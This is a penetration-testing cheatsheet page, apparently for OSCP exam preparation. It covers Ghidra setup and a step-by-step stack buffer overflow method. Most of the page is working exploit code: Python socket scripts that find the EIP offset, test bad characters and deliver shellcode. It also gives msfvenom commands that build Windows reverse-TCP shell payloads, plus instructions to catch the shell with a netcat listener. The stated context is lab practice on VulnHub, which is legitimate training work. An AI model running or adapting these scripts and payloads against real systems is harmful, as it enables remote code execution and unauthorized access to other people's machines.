Binary Exploitation

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Binary Exploitation
Ghidra
Install:
​https://ghidra-sre.org/​
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$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
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$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
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$ sudo apt install openjdk-11-jdk
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OSCP BOF Cheatsheet
All you need to know about OSCP BOF challenge. A perfect example for practice – here on VulnHub, report sample – here.
1. Determine EIP Offset
Generate unique pattern and feed it to the application:
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$ msf-pattern_create -l 5000
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$ python3 bof_send_pattern.py
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bof_send_pattern.py
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#!/usr/bin/env python3
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# bof_send_pattern.py
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​
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import socket
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​
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buf = b'<UNIQUE_PATTERN>'
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#buf += b'\r\n'
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​
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect(('10.10.13.37', 1337))
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#print(s.recv(1024))
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s.send(buf)
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#print(s.recv(1024))
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s.close()
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Calculate the offset from buffer to EIP overwrite point:
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$ msf-pattern_offset -l 5000 -q <EIP_VALUE>
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[*] Exact match at offset <EIP_OFFSET>
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2. Confirm BOF
Confirm that you actually can control EIP value - if true it will be overwritten with D34DC0D3:
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$ python3 bof_confirm.py
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bof_confirm.py
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#!/usr/bin/env python3
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# bof_confirm.py
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​
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import socket
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import struct
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​
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def little_endian(num):
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	return struct.pack('<I', num)
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​
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junk = b'A' * <EIP_OFFSET>
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eip = little_endian(0xd34dc0d3)
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offset = b'C' * 16
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​
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buf = junk + eip + offset
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#buf += b'\r\n'
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​
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect(('10.10.13.37', 1337))
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#print(s.recv(1024))
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s.send(buf)
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#print(s.recv(1024))
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s.close()
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3. Enumerate Bad Characters
Send all the byte values to the application. Then in Immunity Debugger right click on ESP > "Follow in Dump", and check what characters are missing or misinterpreted - they are the bad characters that should be excluded when generating the shellcode:
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$ python3 bof_bad_chars.py
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bof_bad_chars.py
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#!/usr/bin/env python3
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# bof_bad_chars.py
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​
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import socket
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import struct
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​
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def little_endian(num):
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	return struct.pack('<I', num)
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​
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junk = b'A' * <EIP_OFFSET>
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eip = little_endian(0xd34dc0d3)
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offset = b'C' * 4
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​
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badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
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#badchars = '\x00'
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​
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buf = junk + eip + offset + badchars
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#buf += b'\r\n'
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​
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect(('10.10.13.37', 1337))
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#print(s.recv(1024))
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s.send(buf)
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#print(s.recv(1024))
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s.close()
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4. Build the Exploit
I. Find a Return Address
List all loaded libraries in process memory space with mona:
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!mona modules
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Choose a module with no memory protections enabled.
Look for jmp esp instruction in that module:
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$ msf-nasm_shell
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nasm > jmp esp
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00000000  FFE4              jmp esp
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Or
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nasm > call esp
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00000000  FFD4              call esp
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​
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!mona find -s "\xff\xe4" -m "application.exe"
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Found pointer is the needed value for EIP to force the execution flow into malicious shellcode.
II. Generate a Shellcode
Build a shellcode providing bad characters set from (3):
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$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00"
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$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -e x86/shikata_ga_nai -b "\x00"
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$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f python -e x86/shikata_ga_nai -b "\x00"
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5. Exploit!
Start nc listener, feed the shellcode to the application and catch your shell:
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$ python3 bof_exploit.py
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bof_exploit.py
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#!/usr/bin/env python3
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# bof_exploit.py
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​
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import socket
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import struct
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​
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def little_endian(num):
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	return struct.pack('<I', num)
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​
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junk = b'A' * <EIP_OFFSET>
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eip = little_endian(0xd34dc0d3)
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offset = b'C' * 4
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nops = b'\x90' * 10
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​
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buf = junk + eip + offset + nops
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buf += b"<SHELLCODE>"
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#buf += b'\r\n'
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​
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect(('10.10.13.37', 1337))
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#print(s.recv(1024))
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s.send(buf)
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#print(s.recv(1024))
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s.close()
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Authentication Brute Force
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Last modified 9mo ago
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Contents
Ghidra
OSCP BOF Cheatsheet
1. Determine EIP Offset
2. Confirm BOF
3. Enumerate Bad Characters
4. Build the Exploit
5. Exploit!